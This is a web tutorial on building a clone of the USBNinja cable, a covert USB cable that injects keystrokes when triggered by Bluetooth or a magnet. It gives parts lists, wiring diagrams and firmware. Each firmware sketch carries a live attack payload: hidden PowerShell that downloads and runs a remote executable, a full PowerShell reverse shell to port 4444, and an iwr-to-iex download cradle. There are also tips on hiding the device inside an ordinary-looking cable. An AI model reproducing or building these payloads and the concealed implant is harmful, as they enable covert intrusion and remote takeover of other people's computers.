top of page

How To Build Your Own USBNinja Cable (DYI)

How To Build Your Own USBNinja Cable (DYI) | Black Hat HQ

Building A USBNinja Cable


The USBNinja cable architecture is distinct from the O.MG cable. Where O.MG uses WiFi + ESP32, the Ninja Cable uses Bluetooth LE + ATtiny85 with V-USB and adds a Hall effect sensor for magnetic ring triggering. The firmware is fully open-source and well-documented. Here's how to build a functional clone, from easiest to most authentic. This is a guide on how to build your own USBNinja cable.


What You're Actually Building


The Ninja Cable is a USB cable that:


  • Passes through power and data — works as a normal charging/sync cable until triggered

  • Injects keystrokes as an HID keyboard (Ducky Script-style payloads)

  • Triggers via Bluetooth — from a dedicated remote, Android app, or any BLE client

  • Triggers via magnet — a Hall effect sensor detects a magnetic ring held against the USB shell

  • Stores 6KB of payload in flash


The real hardware is an ATtiny85 (bit-banged USB via V-USB, Micronucleus bootloader) paired with a BLE module and a Hall sensor, all crammed into a USB connector shell. That level of miniaturization demands custom PCB fabrication. Let me walk through every approach.


Approach 1: Adafruit Bluefruit LE Micro (Fastest Path to Functional)


This is the closest off-the-shelf board to a Ninja Cable's core. It has an ATmega32u4 (native USB HID, no V-USB headaches) and an nRF51822 BLE module on one board — same BLE chip family used in many Ninja Cable implementations. Just add a Hall sensor and USB passthrough wiring.


BOM


Part

~Cost

Adafruit Bluefruit LE Micro

$20-25

AH3144 Hall effect sensor (or A3144, US1881)

$0.50

10kΩ pull-up resistor

pennies

USB cable to sacrifice (USB-A to whatever)

$3

Heat shrink tubing

$2

Magnetic ring (neodymium ring magnet)

$3


Wiring


USB Host Side (USB-A plug)          Target Device Side (USB-C/Micro/Lightning)
       │                                       │
       │  ┌──────────────────────────────┐     │
       ├──┤  D+ ─────────────────── D+   ├─────┤
       ├──┤  D- ─────────────────── D-   ├─────┤
       ├──┤  VBUS ───┬────────────── VBUS├─────┤
       │  │          │                    │     │
       │  │     ┌────┴─────────┐          │     │
       │  │     │  5V → 3.3V  │          │     │
       │  │     │  Regulator  │          │     │
       │  │     └────┬─────────┘          │     │
       │  │          │                    │     │
       │  │     ┌────┴─────────┐          │     │
       │  │     │  Bluefruit   │          │     │
       │  │     │  LE Micro    │          │     │
       │  │     │              │          │     │
       │  │     │  GPIO ──┬─── │          │     │
       │  │     │         │    │          │     │
       │  │     │    Hall Sensor│          │     │
       │  │     │    (AH3144)  │          │     │
       │  │     └──────────────┘          │     │
       ├──┤  GND ─────────────────── GND  ├─────┤
       │  └──────────────────────────────┘     │

The Hall sensor connects between a GPIO pin and GND, with a 10kΩ pull-up to 3.3V on the GPIO. When a magnet comes near, the sensor pulls the pin LOW.


Hall Sensor Hookup


       3.3V
        │
       10kΩ (pull-up)
        │
GPIO ───┼─── AH3144 Pin 3 (Output)
        │
       AH3144
        │
 Pin 1 (VCC) ─── 3.3V
 Pin 2 (GND) ─── GND

When no magnet is present: GPIO reads HIGH (pulled up). When magnet ring is placed against the sensor: GPIO reads LOW. This is exactly how the USBNinja USBDIRECTPIN works.


Arduino Code


cpp

#include <bluefruit.h>

#define HALL_PIN    5       // GPIO pin connected to Hall sensor
#define LED_PIN     13      // Onboard LED for status

BLEUart bleuart;            // BLE UART service
bool executed = false;

void setup() {
    pinMode(HALL_PIN, INPUT);     // Hall sensor input (with external pull-up)
    pinMode(LED_PIN, OUTPUT);
    digitalWrite(LED_PIN, LOW);

    Bluefruit.begin();
    Bluefruit.setName("NinjaCable");
    Bluefruit.setTxPower(4);
    
    bleuart.begin();
    Bluefruit.Advertising.addService(bleuart);
    Bluefruit.Advertising.start();

    // USB HID starts immediately on ATmega32u4 — we'll use it on trigger
}

void loop() {
    // Check magnet trigger
    if (digitalRead(HALL_PIN) == LOW && !executed) {
        executed = true;
        digitalWrite(LED_PIN, HIGH);
        runPayload();
        digitalWrite(LED_PIN, LOW);
    }

    // Check BLE trigger
    if (bleuart.available()) {
        String cmd = bleuart.readStringUntil('\n');
        cmd.trim();
        if (cmd == "ATTACK") {
            runPayload();
        }
    }

    // Reset trigger when magnet is removed (debounce)
    if (digitalRead(HALL_PIN) == HIGH) {
        executed = false;
    }
}

void runPayload() {
    // Standard Ducky-style payload
    Keyboard.begin();
    delay(1000);

    // Send HID '0' for Win7 compatibility
    Keyboard.write(0);
    delay(500);

    // WIN + R
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    delay(100);
    Keyboard.releaseAll();
    delay(500);

    // Launch PowerShell with download cradle
    Keyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass");
    delay(500);
    Keyboard.println("(New-Object Net.WebClient).DownloadFile('http://YOUR_IP/payload.exe',\"$env:TEMP\\svc.exe\");Start-Process \"$env:TEMP\\svc.exe\";exit");
    delay(200);

    Keyboard.end();
}

USB Passthrough Detail


This is the trickiest part mechanically. You need to cut a USB cable, solder the data lines straight through (D+ to D+, D- to D-), and tap only VBUS and GND to power your board. The Bluefruit LE Micro does NOT intercept data — it just sits on the power rails. This means when the cable is in "passive" mode, it functions as a completely normal USB cable for both charging and data.


[USB-A Plug]──┬──D+ (green)────────────────────┬──[Device Connector]
              ├──D- (white)────────────────────┤
              ├──VBUS (red)───┬──5V to Bluefruit┤
              │               │  (via regulator) │
              ├──GND (black)──┼──GND to Bluefruit┤
              │               │                  │
              └───────────────┴──────────────────┘

Approach 2: Arduino Pro Micro + JDY-08 BLE + Hall Sensor


If the Bluefruit LE Micro is unavailable or you want cheaper


components:


BOM


Part

~Cost

Arduino Pro Micro (ATmega32u4, 5V/16MHz)

$4

JDY-08 BLE module (or JDY-16, JDY-18)

$2-3

AH3144 Hall effect sensor

$0.50

AMS1117 3.3V regulator

$0.30

10kΩ resistor

pennies

Sacrificial USB cable

$3


Wiring Diagram


Pro Micro (5V)                    JDY-08 (3.3V)
──────────────                    ─────────────
VCC ────┬── 5V from USB           VCC ─── 3.3V from regulator
        │
        └── AMS1117 3.3V ────┐
                              ├── JDY-08 VCC
                              └── Hall Sensor VCC
                              
TX (D1) ────[5V→3.3V level shift]──→ JDY-08 RX (P03)
RX (D0) ←──[3.3V→5V level shift]─── JDY-08 TX (P02)

GPIO 2 ──────┬── 10kΩ to 3.3V ── Hall Sensor Output
             └── Direct read

GND ──────────────────────────── GND (common)

Important: JDY-08 runs on 3.3V and its pins are NOT 5V tolerant. You MUST use level shifters or a voltage divider on the TX/RX lines. A simple resistor divider (2.2kΩ + 3.3kΩ) works for 5V→3.3V.


JDY-08 AT Command Configuration


First, configure the JDY-08 using a USB-to-serial adapter at 9600 baud:


AT+NAMENinjaCable      # Set BLE device name
AT+PIN8888              # Set pairing PIN
AT+BAUD4                # Set 9600 baud (match Pro Micro)
AT+POWR3                # Lower TX power (saves power)
AT+ADVIN6               # 1000ms advertising interval
AT+NEIN2                # 500ms connection interval
AT+PWMOPEN              # Disable PWM (saves power)
AT+RESET                # Apply changes

Code (Pro Micro + JDY-08 via SoftwareSerial)


cpp

#include <SoftwareSerial.h>
#include <Keyboard.h>

#define HALL_PIN 2
#define JDY_RX   3    // Pro Micro pin 3 → JDY-08 TX
#define JDY_TX   4    // Pro Micro pin 4 → JDY-08 RX

SoftwareSerial bleSerial(JDY_RX, JDY_TX);
bool executed = false;

void setup() {
    pinMode(HALL_PIN, INPUT);
    
    bleSerial.begin(9600);
    Serial.begin(9600);  // For debug only

    // Wait for JDY-08 to initialize
    delay(1000);
}

void loop() {
    // Magnetic trigger
    if (digitalRead(HALL_PIN) == LOW && !executed) {
        executed = true;
        runPayload();
    }

    // BLE command trigger
    if (bleSerial.available()) {
        String cmd = bleSerial.readStringUntil('\n');
        cmd.trim();
        if (cmd == "ATTACK") {
            runPayload();
        }
    }

    if (digitalRead(HALL_PIN) == HIGH) {
        executed = false;
    }
}

void runPayload() {
    Keyboard.begin();
    delay(1000);
    Keyboard.write(0);
    delay(500);
    
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    delay(100);
    Keyboard.releaseAll();
    delay(500);

    Keyboard.println(F("powershell -NoP -NonI -W Hidden -Exec Bypass "
                       "\"$c=New-Object Net.Sockets.TCPClient('IP',4444);"
                       "$s=$c.GetStream();[byte[]]$b=0..65535|%{0};"
                       "while(($i=$s.Read($b,0,$b.Length))-ne 0)"
                       "{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
                       "$r=iex $d 2>&1|Out-String;"
                       "$sb=$r+'PS '+(pwd).Path+'> ';"
                       "$sb2=([text.encoding]::ASCII).GetBytes($sb);"
                       "$s.Write($sb2,0,$sb2.Length);$s.Flush()}\""));
    delay(200);
    Keyboard.end();
}

Approach 3: ATtiny85 + V-USB + BLE (Authentic Ninja Cable Architecture)


This matches the actual Ninja Cable's design. It's harder — V-USB is bit-banged USB on an 8-bit micro with only 8KB flash and 512 bytes RAM — but it's the only way to get the board small enough to fit inside a USB connector shell.


BOM


Part

~Cost

ATtiny85-20PU

$1.50

JDY-08 BLE module

$2

AH3144 Hall sensor

$0.50

3.3V LDO regulator (MCP1700 or similar)

$0.40

USB cable head to cannibalize

1.5kΩ pull-up on D- (required for USB detection)

pennies

Zener diodes 3.6V (for D+/D- protection)

pennies

16MHz crystal + 22pF caps (optional, can use internal 16.5MHz)

$1


The V-USB Constraint


ATtiny85 has no native USB peripheral. V-USB bit-bangs USB 1.1 low-speed (1.5 Mbps) in software using GPIO pins.


This means:


  • You get 6KB usable flash (2KB for Micronucleus bootloader)

  • USB timing is tight — 12 MIPS minimum, hence 16.5 MHz clock

  • D+ and D- need 3.6V Zener clamps to protect the ATtiny pins

  • You need the Micronucleus bootloader pre-flashed


Schematic (Core)


                     ATtiny85
                   ┌──────────┐
    D- ──┬────────┤ PB3 (11) │
         │ 1.5kΩ   │          │
    D+ ──┼────────┤ PB4 (12) │
         │         │          │
         │         │ PB0 (5) ─┤── JDY-08 TX (via divider)
         │         │ PB1 (6) ─┤── JDY-08 RX
         │         │ PB2 (7) ─┤── Hall Sensor Output (INPUT, pull-up)
         │         │          │
         │         │ PB5 (1) ─┤── Reset (for bootloader entry)
         │         │          │
      3.3V ───────┤ VCC (8)  │
      GND ───────┤ GND (4)  │
                   └──────────┘

The 1.5kΩ pull-up on D- tells the host this is a low-speed USB device.


Flashing Micronucleus Bootloader


You need an Arduino Uno as ISP programmer:


bash

# 1. Upload ArduinoISP to your Uno
#    File → Examples → 11.ArduinoISP → ArduinoISP

# 2. Wire Uno to ATtiny85:
#    Uno D13 → ATtiny85 PB2 (SCK, pin 7)
#    Uno D12 → ATtiny85 PB1 (MISO, pin 6)
#    Uno D11 → ATtiny85 PB0 (MOSI, pin 5)
#    Uno D10 → ATtiny85 PB5 (RESET, pin 1)
#    Uno 5V  → ATtiny85 VCC
#    Uno GND → ATtiny85 GND
#    10µF cap between Uno RESET and GND

# 3. Flash micronucleus bootloader
avrdude -c arduino -p attiny85 -P COM3 -b 19200 \
    -U flash:w:micronucleus-1.11.hex:i \
    -U lfuse:w:0xE1:m -U hfuse:w:0xDD:m -U efuse:w:0xFE:m

The critical fuse bits:


  • lfuse:0xE1 → 16.5 MHz internal oscillator, 65ms startup

  • hfuse:0xDD → Enable reset pin, 6KB bootloader, SPI programming enabled

  • efuse:0xFE → Self-programming enabled


After flashing, when you plug the ATtiny85 into USB, it should enumerate as a Micronucleus device. Install the USBNinja Arduino board package to upload sketches over USB.


Installing the USBNinja Arduino Package


  1. In Arduino IDE: File → Preferences

  2. Additional Boards Manager URLs: https://raw.githubusercontent.com/4d4c/USBNinja/master/install_files/package_USBNinja_index.json

  3. Tools → Board → Boards Manager → search "USB Ninja" → Install

  4. Select Tools → Board → USB Ninja cable (BLE+Hall sensor)


Minimal Ninja Cable Sketch for ATtiny85


Due to the 6KB flash limit, you need to be efficient:


cpp

#include "NinjaKeyboard.h"  // From USBNinja framework

// Hall sensor pin on PB2
#define HALL_PIN 2

// SoftwareSerial on PB0(RX) and PB1(TX) for JDY-08
#include <SoftwareSerial.h>
SoftwareSerial bleSerial(0, 1);  // RX=PB0, TX=PB1

void setup() {
    pinMode(HALL_PIN, INPUT);  // Pull-up external
    
    bleSerial.begin(9600);
    
    // Short delay for BLE module init
    delay(500);
}

void loop() {
    static bool triggered = false;
    
    // Hall sensor trigger (active LOW)
    if (digitalRead(HALL_PIN) == LOW && !triggered) {
        triggered = true;
        executePayload();
    }
    
    // BLE command trigger
    if (bleSerial.available() >= 6) {
        char buf[7];
        bleSerial.readBytes(buf, 6);
        buf[6] = 0;
        if (strcmp(buf, "ATTACK") == 0) {
            executePayload();
        }
    }
    
    // Reset trigger state when magnet removed
    if (digitalRead(HALL_PIN) == HIGH) {
        triggered = false;
    }
}

void executePayload() {
    USBninjaOnline();         // Switch to HID mode
    NinjaKeyboard.begin();
    delay(1000);
    
    NinjaKeyboard.sendKeyStroke(0);  // Win7 compat
    delay(500);
    
    // WIN+R → powershell → download cradle
    NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
    delay(200);
    NinjaKeyboard.print(F("powershell -NoP -W Hidden -Exec Bypass "));
    NinjaKeyboard.print(F("-c \"iwr http://IP/p -UseB | iex\""));
    delay(100);
    NinjaKeyboard.sendKeyStroke(KEY_ENTER);
    delay(500);
    
    NinjaKeyboard.end();
    USBninjaOffline();        // Back to cable mode
}

This fits within the ATtiny85's limits if you're disciplined about string lengths and flash usage.


Approach 4: Custom PCB


The board layout is the hardest part. You're trying to fit into a USB-A plug shell: roughly 12mm × 15mm × 5mm. Your PCB needs:


  • 4 layers minimum for routing density

  • 0.6mm thickness to fit in the shell

  • Flex PCB if you want the cable to bend (O.MG uses this)

  • Impedance-controlled USB traces (90Ω differential for D+/D-)

  • Chip antenna or PCB trace antenna for BLE


You'd design this in KiCad, fabricate through JLCPCB (~$2 for 5 boards), and hand-assemble with a hot air station. Expect 3-5 revisions before it works reliably. The minimum viable design drops the BLE for a pure magnetic trigger — much simpler routing, and the original Ninja Cable's Hall sensor trigger is its most iconic feature.


Triggering: Remote Control Options


The real Ninja Cable ships with a custom Bluetooth remote. For your DIY build, you have several options:


Option 1: Android App The official USBNinja APK is available at https://usbninja.com/drivers_tools/USBNinja.apk. It scans for BLE devices named "Ninja" and sends ATTACK/PAYLOAD_A/PAYLOAD_B commands.


Option 2: nRF Connect (any platform) Connect to the BLE UART service, send ATTACK\n — done.


Option 3: Custom BLE remote Use a second JDY-08 or an ESP32 configured as BLE master that sends the ATTACK command at a button press. The JDY-08 can be configured as BLE master with AT commands:


AT+ROLE1        # Set as master
AT+BANDNAME     # Bind to slave by name
AT+CONNNinjaCable

Then wire a button to the master JDY-08 that sends "ATTACK\n" over serial on press.


Option 4: Magnetic ring only (simplest) Skip BLE entirely. Just the Hall sensor trigger. This is the most reliable, stealthiest, and mechanically simplest option.


Physical Build: Practical Assembly Tips


The hardest part isn't the electronics — it's packaging everything inside a USB cable head:


  1. Start with a USB extension cable, not a charge cable. Cut it in half. You now have a USB-A male on one side and a USB-A female on the other.


  2. Solder data lines straight through (green to green, white to white). Use the thinnest wire you can find — 30 AWG kynar wire-wrap wire works well.


  3. Tap VBUS and GND to power your circuit. Add a small 10µF capacitor across the power rails near the MCU for stability.


  4. Mount the Hall sensor against the inside wall of the USB-A plug's metal shell. This is where the magnetic ring goes. Hot glue or epoxy to hold it in place.


  5. Use the smallest board possible. A Pro Micro is probably too large for a cable head — you'll need to mount it inline on the cable and cover it with a larger heat-shrink section (like a ferrite bead). For true cable-head integration, the ATtiny85 on a tiny custom board or dead-bug soldered is the only way.


  6. Test in passive mode first: plug in the cable, charge a phone. If that works, trigger the payload. If you get USB enumeration failures, check your data line soldering — cold joints on D+/D- are the #1 cause of problems.


Which Approach Should You Choose?


Your Situation

Best Approach

I need this working for a pentest next week

Bluefruit LE Micro — afternoon build

I want cheap, hackable, and well-documented

Pro Micro + JDY-08 — familiar Arduino ecosystem

I want the authentic architecture and smallest size

ATtiny85 + V-USB — harder but matches real hardware

I want a production-quality stealth cable

Custom PCB — months of iteration

I just need it to work and have budget

Buy a real USBNinja cable


Enroll In Online Cybersecurity & Hacking Classes/Courses | Black Hat HQ

Comments


bottom of page